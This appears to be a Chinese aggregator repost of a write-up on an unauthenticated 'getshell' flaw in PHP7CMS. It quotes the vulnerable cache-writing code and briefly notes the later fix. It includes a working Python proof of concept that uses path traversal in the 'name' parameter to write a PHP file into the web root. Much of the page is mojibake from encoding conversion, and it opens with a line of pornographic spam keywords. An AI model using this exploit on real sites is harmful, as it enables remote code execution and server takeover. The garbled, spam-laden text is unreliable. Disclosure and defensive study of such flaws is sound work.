日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

php7 cms,PHP7CMS 无条件前台GETSHELL

發(fā)布時間:2025/3/12 php 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php7 cms,PHP7CMS 无条件前台GETSHELL 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

Version:2018-10-09

//最新版中以修復(fù)此漏洞

這個漏洞很簡單,如果作者在寫代碼的時候考慮到一點(diǎn)點(diǎn)安全方面,其實(shí)都可以避免的。

[PHP] 純文本查看 復(fù)制代碼// php7cms/Core/Controllers/Api/Api.php

// 52~61 line

public function save_form_data() {

$rt = \Phpcmf\Service::L('cache')->init('file')->save(

\Phpcmf\Service::L('Input')->get('name'),

\Phpcmf\Service::L('Input')->post('data'),

7200

);

var_dump($rt);

exit;

}

調(diào)用了Cache類中 init 函數(shù),參數(shù)分別為get(‘name’)和post(‘data’)。

[PHP] 純文本查看 復(fù)制代碼// php7cms/Fcms/Library/Cache.php

// 112~121 line

public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {

$config = new \Config\Cache();

$config->handler = 'file';

$config->prefix = $prefix;

!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';

$config->path = WRITEPATH.'caching/';

$cache = \Config\Services::cache($config, 0);

return $cache;

}

初始化緩存類,為prefix參數(shù)拼接字符串后直接無任何過濾直接傳入CI框架的緩存類中,中間框架的執(zhí)行流程就不在文章里寫了。

直接看最后一步

[PHP] 純文本查看 復(fù)制代碼// php7cms/System/Cache/Handlers

// 107~125 line

public function save(string $key, $value, int $ttl = 60)

{

$key = $this->prefix . $key;

$contents = [

'time' => time(),

'ttl' => $ttl,

'data' => $value,

];

if ($this->writeFile($this->path . $key, serialize($contents)))

{

chmod($this->path . $key, 0640);

return true;

}

return false;

}

[PHP] 純文本查看 復(fù)制代碼//324~345 line

protected function writeFile($path, $data, $mode = 'wb')

{

if (($fp = @fopen($path, $mode)) === false)

{

return false;

}

flock($fp, LOCK_EX);

for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)

{

if (($result = fwrite($fp, substr($data, $written))) === false)

{

break;

}

}

flock($fp, LOCK_UN);

fclose($fp);

return is_int($result);

}

直接寫入到緩存目錄中,其中并沒有過濾”.”和”/”,可以跨目錄寫入。所以不需要考慮路由問題。

POC:

[PHP] 純文本查看 復(fù)制代碼from requests import post

postData = {

'data':'<?php phpinfo()?>'

}

postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

-1.png (123.79 KB, 下載次數(shù): 23)

2018-12-14 13:05 上傳

新版修復(fù):

3.png (27.21 KB, 下載次數(shù): 28)

2018-12-14 13:07 上傳

首先給dr_safe_replace 參數(shù)增加了兩個新的過濾條件 ” . “和 ” ‘ “,在原本漏洞出發(fā)點(diǎn)接收get值的時候用這個函數(shù)過濾。

03.png (35.6 KB, 下載次數(shù): 26)

2018-12-14 13:07 上傳

總結(jié)

以上是生活随笔為你收集整理的php7 cms,PHP7CMS 无条件前台GETSHELL的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。